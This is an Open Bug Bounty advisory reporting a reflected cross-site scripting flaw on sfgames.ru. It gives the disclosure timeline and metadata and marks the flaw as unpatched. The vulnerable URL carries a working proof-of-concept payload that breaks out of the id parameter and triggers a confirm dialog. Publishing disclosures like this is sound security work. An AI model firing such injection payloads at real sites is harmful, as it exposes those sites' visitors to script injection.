Description
##### Vulnerable URL:
http://sfgames.ru/gameS.php?id=232%27"--!>confirm`OPENBUGBOUNTY`%3C/script /K/>'
##### Details:
Description| Value
---|---
Patched:| No
Latest check for patch:| 30.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 3868270
VIP website status:| No
Check sfgames.ru SSL connection:| (Grade: B)
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 13 January, 2017 16:17 GMT
Vulnerability existence verified and confirmed| 16 January, 2017 10:28 GMT
Vulnerability details disclosed by researcher| 13 February, 2017 11:15 GMT
{"type": "openbugbounty", "lastseen": "2017-10-17T01:36:53", "href": "https://www.openbugbounty.org/reports/206117/", "cvss": {"score": 0.0, "vector": "NONE"}, "reporter": "Random_Robbie", "description": "##### Vulnerable URL:\n \n \n http://sfgames.ru/gameS.php?id=232%27\"--!>confirm`OPENBUGBOUNTY`%3C/script /K/>'\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 30.07.2017 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| 3868270 \nVIP website status:| No \nCheck sfgames.ru SSL connection:| (Grade: B) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 13 January, 2017 16:17 GMT \nVulnerability existence verified and confirmed| 16 January, 2017 10:28 GMT \nVulnerability details disclosed by researcher| 13 February, 2017 11:15 GMT\n", "bulletinFamily": "bugbounty", "references": [], "viewCount": 13, "cvelist": [], "openbugbounty": {"mirror": "", "patchStatus": "unpatched"}, "enchantments_done": [], "title": "sfgames.ru XSS vulnerability ", "id": "OBB:206117", "modified": "2017-02-13T11:15:00", "published": "2017-01-13T16:17:00", "enchantments": {"score": {"value": 0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.0}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645349912, "score": 1659778619, "epss": 1678844661}}
{}